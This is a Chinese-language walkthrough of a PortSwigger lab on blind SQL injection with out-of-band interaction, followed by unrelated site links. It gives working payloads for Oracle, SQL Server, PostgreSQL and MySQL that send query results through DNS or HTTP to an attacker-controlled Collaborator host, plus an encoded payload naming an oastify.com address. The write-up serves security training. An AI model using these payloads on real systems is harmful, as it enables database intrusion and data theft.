PortSwigger靶場之Blind SQL injection with out-of-band interaction通關秘籍

一、題目分析

該實驗室存在一個盲 SQL 注入漏洞。該應用程序使用跟蹤 cookie 進行分析,并執行包含所提交 cookie 值的 SQL 查詢。該 SQL 查詢是異步執行的,不會對應用程序的響應產生影響。不過,我們可以與外部域觸發非帶內交互。要解決此漏洞,需利用 SQL 注入漏洞,從而引發對 Burp Collaborator 的 DNS 查詢操作。同時PortSwigger靶場提醒我們注意為防止 Academy 平臺被用于攻擊第三方,他們的防火墻會阻止實驗室與任意外部系統的交互。要解決此問題,我們必須使用 Burp Collaborator 的默認公共服務器。

接下來我們引入一下sql注入的類型理論知識為我們解決本關打下基礎

二、SQL 注入的類型

SQL 注入是一種常見的網絡安全漏洞,攻擊者通過在應用程序的輸入字段中插入惡意的 SQL 代碼,從而干擾應用程序對其數據庫的查詢。這可能導致數據泄露、數據篡改,甚至完全控制數據庫服務器。

SQL 注入主要分為以下幾種類型:

1. 帶內(In-band)SQL 注入

帶內 SQL 注入是最常見也是最直接的類型,攻擊者可以使用相同的通信渠道發送攻擊和接收結果。它又可以細分為:

  • 基于錯誤的 SQL 注入 (Error-based SQLi): 攻擊者故意使數據庫返回錯誤消息,這些錯誤消息中包含了敏感信息(如數據庫結構、列名等)。通過分析這些錯誤,攻擊者可以逐步推斷出數據庫的布局。

  • 基于聯合查詢的 SQL 注入 (Union-based SQLi): 攻擊者利用 UNION 運算符將一個惡意的 SELECT 查詢的結果與原始查詢的結果合并。這使得攻擊者能夠從數據庫中檢索任意數據,并將其顯示在應用程序的正常輸出中。

2. 推斷(Inferential)SQL 注入 (也稱為盲注入)

推斷 SQL 注入發生在攻擊者無法直接從數據庫獲取數據的情況下。相反,攻擊者根據應用程序響應的行為或時間來推斷數據庫的信息。這種類型的注入通常需要更長的時間來執行,但仍然非常有效。

  • 基于布爾的盲注入 (Boolean-based Blind SQLi): 攻擊者發送一系列 SQL 查詢,這些查詢會根據結果的真假導致應用程序的響應有所不同(例如,頁面顯示或不顯示)。通過觀察這些布爾響應,攻擊者可以逐個字符地推斷出數據庫中的數據。

  • 基于時間的盲注入 (Time-based Blind SQLi): 攻擊者發送的 SQL 查詢中包含一個時間延遲函數(如 SLEEP()BENCHMARK())。如果查詢中的條件為真,數據庫將執行延遲,從而導致應用程序響應時間變長。攻擊者通過測量響應時間來判斷條件是否成立,以此推斷出數據。

以上兩種SQL注入我們都在之前的靶場學習過了,接下來我們來學習帶外sql注入,這關主要是讓我們淺淺嘗試

3. 帶外(Out-of-band)SQL 注入

帶外 SQL 注入是一種不常見的類型,它發生在攻擊者無法使用與應用程序相同的通信渠道獲取結果時。在這種情況下,攻擊者利用數據庫服務器的某些功能(如 DNS 查詢或 HTTP 請求)將數據發送到自己控制的外部服務器。這種攻擊通常用于無法通過帶內或推斷技術提取數據的高級場景。

  • 通過 DNS 請求的帶外 SQL 注入: 攻擊者利用數據庫的某些函數(如 LOAD_FILE()UTL_HTTP)觸發一個 DNS 查詢到攻擊者控制的域名。查詢的子域名部分可以編碼從數據庫中提取的數據。

  • 通過 HTTP 請求的帶外 SQL 注入: 攻擊者使數據庫服務器向攻擊者控制的 HTTP 服務器發送請求,請求中包含了從數據庫中提取的數據。

本關就是考察通過 DNS 請求的帶外 SQL 注入。

三、帶外注入語句

在butpsuite提供的cheat-sheet中,給出了各個數據庫的外帶語句:

下面是針對不同數據庫的語句解釋:

1. Oracle

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' || (SELECT YOUR-QUERY-HERE) || '.BURP-COLLABORATOR-SUBDOMAIN/">%remote;]>'),'/l1') FROM dual
  • 原理:利用 XML 類型解析錯誤來觸發外部 HTTP 請求。

  • 解釋

    1. EXTRACTVALUE(xmltype(...),'/l1'):這是一個 XML 解析函數,用于從 XML 數據中提取值。

    2. xmltype(...):這部分構造了一個畸形的 XML 文檔,其中包含一個外部實體引用 <!ENTITY % remote SYSTEM "http://...">

    3. (SELECT YOUR-QUERY-HERE):這是你的注入查詢,例如 (SELECT password FROM users WHERE username='admin')。它的結果會被拼接到 URL 中。

    4. .BURP-COLLABORATOR-SUBDOMAIN/:這是 Burp Collaborator 生成的唯一子域名。當 Oracle 嘗試解析這個外部實體時,它會向該 URL 發送一個 HTTP 請求。

  • 結果:這里利用了 XML 解析器“需要”訪問外部資源來完成解析的這一特性,而不是依賴于傳統的 SQL 注入。即使解析最終會失敗(因為 XML 文檔結構不完整),在解析器嘗試加載外部實體的那個瞬間,數據就已經被發送出去了。如果注入成功,Oracle 數據庫會向一個包含查詢結果的 URL 發送請求,攻擊者可以在 Burp Collaborator 上接收到這個請求,從而獲取數據。

2. Microsoft SQL Server

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'')
  • 原理:利用 xp_dirtree 系統存儲過程來觸發 UNC 路徑訪問,從而導致 DNS 請求。

  • 解釋

    1. declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);:聲明一個變量 @p 并將你的注入查詢結果賦值給它。

    2. exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a''):執行一個存儲過程 xp_dirtree,它通常用于列出文件目錄。這里巧妙地利用它來嘗試訪問一個網絡共享路徑。

    3. //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'':這是一個 UNC 路徑(網絡共享路徑),它將你的查詢結果 @p 嵌入到主機名中。

  • 結果:當 SQL Server 嘗試訪問這個 UNC 路徑時,它會先執行一個 DNS 查詢來解析主機名,這個查詢包含了你的數據。攻擊者可以在 DNS 服務器(如 Burp Collaborator)上捕獲這個查詢。

3. PostgreSQL

create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
end;
$$ language plpgsql security definer;
SELECT f();
  • 原理:創建一個臨時函數,利用 copy 命令來執行外部程序 nslookup,從而觸發 DNS 查詢。

  • 解釋

    1. create OR replace function f() ...:創建一個臨時的 PL/pgSQL 函數 f()

    2. SELECT into p (SELECT YOUR-QUERY-HERE);:將你的注入查詢結果存儲到變量 p 中。

    3. execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''';:這是核心部分。copy ... to program ... 命令通常用于將查詢結果導出到外部程序。這里它被濫用,通過 nslookup 命令向一個包含查詢結果的域名發送 DNS 請求。

  • 結果:執行 SELECT f() 時,函數會執行 nslookup 命令,向包含查詢結果的子域名發起 DNS 請求。

4. MySQL (Windows only)

SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
  • 原理:利用 INTO OUTFILE 語句將查詢結果寫入到一個網絡共享路徑,從而觸發 DNS 查詢。

  • 解釋

    1. SELECT YOUR-QUERY-HERE INTO OUTFILE ...:將你的查詢結果寫入一個文件。

    2. \\\\BURP-COLLABORATOR-SUBDOMAIN\a:這是一個 UNC 路徑。由于 MySQL 在 Windows 上執行此操作,它會嘗試訪問這個網絡路徑,并觸發一個 DNS 查詢來解析域名。

  • 結果:與 SQL Server 類似,MySQL 會向 Burp Collaborator 域名發送 DNS 請求,從而泄露查詢結果。這個方法只在 MySQL 服務運行在 Windows 系統上時才有效。


5、開始嘗試

我們從oracle開始嘗試,只需要將.BURP-COLLABORATOR-SUBDOMAIN換成生成的地址。

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a///5syvatdg4musou1rj8t1c03qxh38rzfo.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

四、成功通關

學習參考:歸去來兮-zangcc??【送書活動第2期】打靶Portswigger系列—— 一口氣通關18個SQL注入靶場詳細流程(文末送書)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/94375.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/94375.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/94375.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

筆試-筆記3

1.在以下聲明中哪一個表示“指向常量的指針”(指針指向的內容不能修改)&#xff1f; A.char* const p B.const char* p C.char *p const D.char const p 解析&#xff1a; 選B&#xff0c;const修飾的變量為常量&#xff0c;意味著不能修改 A是常量指針&#xff0c;const修飾的…

Linux正則表達式

文章目錄一、Linux正則表達式與三劍客知識1.什么是正則表達式&#xff1f;2.為什么要學習正則表達式&#xff1f;3.有關正則表達式容易混淆的事項4.學習正則表達式注意事項5. 正則表達式的分類5.1 基本的正則表達式&#xff08;BRE&#xff09;集合6. 正則表達式測試題7. 擴展正…

MATLAB Figure畫布中繪制表格詳解

文章目錄 1 使用uitable創建帶有樣式和顏色映射的表格 2 使用imagesc和text創建自定義表格 3 使用patch和text創建完全自定義的表格 4 代碼詳細講解 4.1 使用uitable 4.2 使用imagesc和text 4.3 使用patch和text 5 顏色映射技巧 5.1 使用內置顏色映射 5.2 自定義顏色映射函數 5…

Python在語料庫建設中的應用:文本收集、數據清理與文件名管理

一、問題的提出在日常語言學習與教學中&#xff0c;語料庫是一個不可或缺的工具。它可以幫助我們查找高頻詞&#xff0c;獲取搭配信息、例句信息、關鍵詞信息等。由于建庫過程操作步驟多&#xff0c;有時還要用到圖片識別、格式轉化、文本清理等技巧&#xff0c;很多人往往都止…

STL——priority_queue的使用(快速入門詳細)

目錄 前言 一、基本知識 二、使用 前言 priority_queue是在queue庫里的&#xff0c;所以使用的時候要包含queue頭文件。使用方法和堆類似&#xff0c;因為它的底層其實就是大根堆。 一、基本知識 優先隊列優先級隊列是一種容器適配器&#xff0c;根據一些嚴格的弱排序標準&…

MATLAB中函數的詳細使用

一、函數基本知識function語法&#xff1a; function [,...,] myfun(,...,)&#xff0c; …

服務器初始化流程***

前言在云計算與自動化運維日益成熟的今天&#xff0c;快速、批量地部署服務器已成為常態。然而&#xff0c;一臺新構建的云服務器或新安裝的物理服務器&#xff0c;僅僅是一個可運行的操作系統內核&#xff0c;遠未達到投入生產環境或開發測試的標準。一個缺乏標準化配置的“裸…

Python實現電商Excel讀取進行可視化分析

目錄專欄導讀項目簡介功能特性&#x1f4ca; 數據處理功能&#x1f4c8; 統計分析功能&#x1f3a8; 可視化功能&#x1f4cb; 報告生成項目結構安裝和使用環境要求安裝步驟使用自己的數據依賴包說明輸出文件說明靜態圖表&#xff08;PNG格式&#xff09;交互式圖表&#xff08…

肌肉力量訓練

健身一年多瘦了十幾斤&#xff0c;沒有像上次一樣吃輕食哦。每天早晨跑步或者做力量訓練&#xff0c;中午和晚上吃完飯遛遛彎&#xff0c;堅持下來就好了。 但力量訓練一直沒有請教練&#xff0c;自己也沒查資料&#xff0c;算是瞎練吧。最近發現了一本好書&#xff0c;講解如何…

微服務-27.配置管理-什么是配置管理

一.配置管理到目前為止我們已經解決了微服務相關的幾個問題&#xff1a;微服務遠程調用微服務注冊、發現微服務請求路由、負載均衡微服務登錄用戶信息傳遞不過&#xff0c;現在依然還有幾個問題需要解決&#xff1a;我們發現很多微服務中的配置文件里的配置都是重復的。修改編輯…

【RAGFlow代碼詳解-13】RAG 管道

管道架構概述 RAG 管道由多個處理階段組成&#xff0c;這些階段將文本內容轉換為適合智能檢索的結構化知識表示&#xff1a;文檔到知識圖譜工作流程 主要處理工作流程通過 run_graphrag 功能將單個文檔塊轉換為統一的知識圖譜&#xff1a;GraphRAG 處理方法 RAGFlow 支持兩種不…

深度學習——模型訓練

以Pytorch自帶的手寫數據集為例。我們已經構建了一個輸入層&#xff08;28*28&#xff09;&#xff0c;兩個隱藏層&#xff08;128和256&#xff09;&#xff0c;一個輸出層&#xff08;10&#xff09;的人工神經網絡。并且結合非線性激活函數sigmoid定義前向傳播的方向。class…

使用Kiro智能開發PYTHON應用程序

文章目錄使用Kiro智能開發PYTHON應用程序1. 什么是KIRO&#xff1f;2. 獲取KIRO3. 安裝KIRO4. 用KIRO開發智能應用程序6. 推薦閱讀使用Kiro智能開發PYTHON應用程序 By JacksonML KIRO是AWS亞馬遜云科技旗下的獨立AI產品&#xff0c;是用來開發生產級應用程序的AI IDE。 本文簡…

UNIX網絡編程筆記:高級套接字編程12-19

IPv4與IPv6互操作性&#xff1a;技術解析與實踐指南 在網絡協議演進進程中&#xff0c;IPv4向IPv6的過渡是繞不開的關鍵階段。盡管IPv6憑借海量地址、更優擴展性成為發展方向&#xff0c;但IPv4設備與網絡的廣泛存在&#xff0c;使得二者的互操作性成為保障網絡平滑演進、業務持…

同類軟件對比(一):Visual Studio(IDE) VS Visual Studio Code

文章目錄前言一、Visual Studio&#xff08;IDE&#xff09;是什么&#xff1f;二、Visual Studio Code 是什么&#xff1f;三、兩者的相同點四、兩者的不同點五、實戰選擇建議總結前言 Visual Studio 和 Visual Studio Code&#xff0c;它們一個是微軟旗下的老牌霸主&#xf…

數據結構初階:詳解單鏈表(一)

&#x1f525;個人主頁&#xff1a;胡蘿卜3.0 &#x1f3ac;作者簡介&#xff1a;C研發方向學習者 &#x1f4d6;個人專欄&#xff1a; 《C語言》《數據結構》 《C干貨分享》 ??人生格言&#xff1a;不試試怎么知道自己行不行 目錄 順序表問題與思考 正文 一、單鏈表 1.…

塞爾達傳說 曠野之息 PC/手機雙端(The Legend of Zelda: Breath of the Wild)免安裝中文版

網盤鏈接&#xff1a; 塞爾達傳說 曠野之息 免安裝中文版 名稱&#xff1a;塞爾達傳說 曠野之息 PC/手機雙端 免安裝中文版 描述&#xff1a;忘記你所知道的關于塞爾達傳說游戲的一切。在《塞爾達傳說&#xff1a;曠野之息》中步入一個充滿發現、探索和冒險的世界&#xff0…

【分享開題答辯過程】一輛摩托車帶來的通關副本攻略----《摩托車網上銷售系統》開題答辯!!

一、開題陳述 各位評委老師好&#xff0c;我是A同學。 本次我設計與實現的是基于ASP.NET的摩托車網上銷售系統&#xff0c;該系統以 MySQL 為后臺數據庫&#xff0c;主要解決當前社會背景下用戶線下看車購車困難的問題&#xff0c;同時順應摩托車網絡營銷的發展趨勢&#xff…

python + unicorn + xgboost + pytorch 搭建機器學習訓練平臺遇到的問題

1.背景前段時間&#xff0c;使用 python unicorn xgboost pytorch 寫了一個機器學習訓練平臺的后端服務&#xff0c;根據公司開發需要&#xff0c;需具備兩種需求&#xff1a;1. 可以本地加載使用&#xff1b;2.支持web服務&#xff0c;2. 使用本地加載使用2.1 問題針對第一…

Odoo 非標項目型生產行業解決方案:專業、完整、開源

概述您眼前的這張應用藍圖&#xff0c;是由 Odoo 官方金牌服務商——開源智造 (OSCG) 憑借多年在非標項目型制造領域的深厚積累&#xff0c;精心設計的 Odoo 解決方案核心流程圖。它不僅體現了我們對行業復雜業務場景的深刻理解&#xff0c;更彰顯了我們將先進的管理理念與強大…